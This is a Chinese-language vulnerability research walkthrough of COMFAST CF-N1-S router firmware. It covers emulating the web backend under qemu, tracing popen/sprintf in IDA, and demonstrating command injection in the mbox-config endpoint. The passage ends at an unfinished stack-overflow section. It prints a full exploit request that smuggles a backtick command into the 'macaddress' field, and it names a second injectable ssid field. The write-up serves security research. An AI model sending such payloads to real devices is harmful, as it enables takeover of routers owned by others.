1、用户模拟COMFAST CF-N1-S-V2.6.0.1固件
官网固件下载网址:
https://www.comfast.com.cn/index.php?m=content&c=index&a=show&catid=31&id=779

得到固件直接执行命令:binwalk -Me CF-N1-S-V2.6.0.1.bin

在 /etc/inittab 下第一行有一个 rcS 启动

但是没发现这里面有 rcS

在文章里有提到 webmgnt 是网页服务环境

并且在这个程序里面发现一句话 ”Starting web-management CGI server”
这其实就是网页CGI管理的后端

来到 /usr/bin 目录下查看一下是 Mips 架构和 big endian 大端

再看用 checksec 查看只开启 NX 保护

因为是模拟 Mips 大端将模拟程序 qemu-mips-static 复制到固件包根目录
执行命令:cp $(which qemu-mips-static) ./

这里尝试启动 webmgnt 后端有提示很多东西没创建
执行命令:sudo chroot . ./qemu-mips-static ./usr/bin/webmgnt


包括尝试启动 nginx 前端有提示没创建 var/log/nginx/error.log
执行命令:
sudo chroot . ./qemu-mips-static ./usr/sbin/nginx -c /tmp/nginx-iot.conf -g 'daemon off;'

包括这个目录下也是空目录

这里给出脚本用于补齐缺失目录,缺什么补什么
++++++++++++++++++补齐 Web 缺失脚本++++++++++++++++++
创建 UCI 需要的目录
sudo mkdir -p tmp/log
sudo mkdir -p tmp/.uci
sudo mkdir -p tmp/lock
sudo mkdir -p tmp/state
sudo mkdir -p tmp/run
sudo chmod 777 tmp
sudo chmod 777 tmp/log
sudo chmod 777 tmp/.uci
sudo chmod 777 tmp/lock
sudo chmod 777 tmp/state
sudo chmod 777 tmp/run
删除 var 链接(指向 /dev/null),创建真实目录
sudo rm -f var
sudo mkdir -p var/lock
sudo mkdir -p var/state
sudo mkdir -p var/run
sudo mkdir -p var/log/nginx
sudo mkdir -p var/cache/nginx
sudo mkdir -p var/lib/nginx/body
sudo mkdir -p var/lib/nginx/proxy
sudo chmod 777 var
sudo chmod 777 var/lock
sudo chmod 777 var/state
sudo chmod 777 var/run
sudo chmod 777 var/log
sudo chmod 777 var/log/nginx
sudo chmod 777 var/cache/nginx
sudo chmod 777 var/lib/nginx/body
sudo chmod 777 var/lib/nginx/proxy
sudo touch var/log/nginx/error.log
sudo touch var/log/nginx/access.log
sudo chmod 666 var/log/nginx/error.log
sudo chmod 666 var/log/nginx/access.log
创建 /dev 设备节点
sudo mkdir -p dev
sudo mknod dev/null c 1 3
sudo chmod 666 dev/null
sudo mknod dev/zero c 1 5
sudo chmod 666 dev/zero
sudo mknod dev/random c 1 8
sudo chmod 666 dev/random
sudo mknod dev/urandom c 1 9
sudo chmod 666 dev/urandom
创建 UCI 配置文件
sudo mkdir -p etc/config
sudo touch etc/config/network
sudo touch etc/config/wireless
sudo touch etc/config/firewall
sudo touch etc/config/system
创建 Nginx 需要的目录和文件
sudo mkdir -p www-comfast
sudo chmod 777 www-comfast
sudo mkdir -p ssl
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout ssl/cflogin.key \
-out ssl/cflogin.pem \
-subj "/C=US/ST=State/L=City/O=Organization/CN=localhost"
sudo chmod 666 ssl/cflogin.pem
sudo chmod 666 ssl/cflogin.key
sudo touch etc/nginx/fastcgi_params
sudo chmod 666 etc/nginx/fastcgi_params
sudo cp etc/nginx/fastcgi_params tmp/fastcgi_params
sudo touch tmp/mime.types
sudo cp etc/nginx/mime.types tmp/mime.types 2>/dev/null || true
创建 Nginx 配置文件
sudo tee tmp/nginx-iot.conf << 'EOF'
user nobody nogroup;
worker_processes 1;
events {
use epoll;
worker_connections 4096;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
client_header_buffer_size 32k;
large_client_header_buffers 4 64k;
access_log /dev/null;
error_log /dev/null;
sendfile on;
client_header_timeout 5;
client_body_timeout 1;
send_timeout 5;
fastcgi_intercept_errors on;
server {
server_name cflogin.cn;
listen 8080;
add_header Cache-Control no-cache;
add_header Cache-Control private;
error_page 404 = /login.html;
location /cgi-bin {
keepalive_timeout 0;
fastcgi_pass 127.0.0.1:9002;
include /etc/nginx/fastcgi_params;
client_max_body_size 20m;
}
location / {
keepalive_timeout 5;
root /www-comfast;
index /cgi-bin/index;
}
}
}
EOF
++++++++++++++++++补齐 Web 缺失脚本++++++++++++++++++
再次启动

进去网页并输入账户:admin 、密码:admin

但是一登录就发现 webmgnt 后端崩溃,看到最后报错还有文件缺失

这里用文章给出补齐的命令粘贴到脚本里面,防止 sysinfo 崩溃
sudo echo "cf-n1s" > tmp/sysinfo/board_name
sudo echo "CF-N1-S" > tmp/sysinfo/model
sudo echo "00:11:22:33:44:55" > tmp/sysinfo/mac
sudo echo "25" > tmp/sysinfo/txpower
sudo touch tmp/sysinfo/button_wps
sudo echo "1" > tmp/sysinfo/admin_wifi_exist
sudo echo "00:11:22:33:44:55" > tmp/sysinfo/wifidog_mac

启动 brup 开始抓包
这一堆数据包是从登录页面到管理页面的
根据文章发现这里接口是有漏洞的


2、命令注入漏洞
把webmgnt 拖到 IDA 里面分析
来到这个 sub_44A968() 函数下

在第 26 行有 off_47D308 指向 popen() 函数


在第 25 行又发现 off_47D1FC 指向 sprintf() 函数

并且是用 v3 拼接在 v7 一起

第 24 行 v3 又是通过 v9 赋值

第 19 行 v9 是通过 v8 赋值

第 17 行 v8 是通过 &off_469558 指向macaddress 请全体得到字符串


这里按 x 看到接口处理是用 ptest_macaddress (翻译:测试 MAC 地址)
并且是通过 SET

鼠标往上滑在这一列表顶部发现有 mbox_config 接口取处理这些函数

从刚才 mbox_config 对应的是数据包 mbox-config

接着搜索 mbox-config ,因为模拟用了 chroot 需要加 sudo
执行命令:sudo grep -ir mbox-config
这里直接就能看到 mbox-config 处理整个 URL 的接口

这个包拿过来改一下

这个 POST 请全体标记颜色处是要改的地方
还要注意必须要有一个有效会话 Cookie
Cookie: COMFAST_SESSIONID=7f000001-000000000000-643c9869
也就是必须得登录到管理页面才行
++++++++++贴出 POST 请全体++++++++++
POST /cgi-bin/mbox-config?method=SET§ion=ptest_macaddress HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 2
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: appliation/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: COMFAST_SESSIONID=7f000001-000000000000-643c9869
Connection: close
{
"macaddress": "127.0.0.1`touch 777.txt`"
}
+++++++++++++贴出 POST 请全体+++++++++++++
这里发送构造直接发送发现回复 502

执行完后服务器会崩溃

但是可以看到在根目录下已经 777.txt 文件

补充:如果回复的是下面这个图片表示函数未执行

按照上面思路来,在寻找过程中能发现参数 method=SET 的处理,的确有大量命令拼接
来到 sub_44B438() 函数

在第 20 行和第 22 行处也是用户可控拼接命令注入



它的接口处理是 ptest_ssid

请求体是 ssid 处理

用 brup 发包

并且可以看到根目录生成 888.txt

3、栈溢出漏洞
来到 0x406882 这个地址下,这里有个 get_para_from_uri() 里面有溢出
这里想着生成伪代码,但是 IDA 提示说该函数下常量开辟栈空间太大无法生成伪代码

下面这一段是利用 AI 生成的一段伪代码
有点长可以粘贴到编译器或文本里面去查看
+++++++++++++++++++请求体处理伪代码+++++++++++
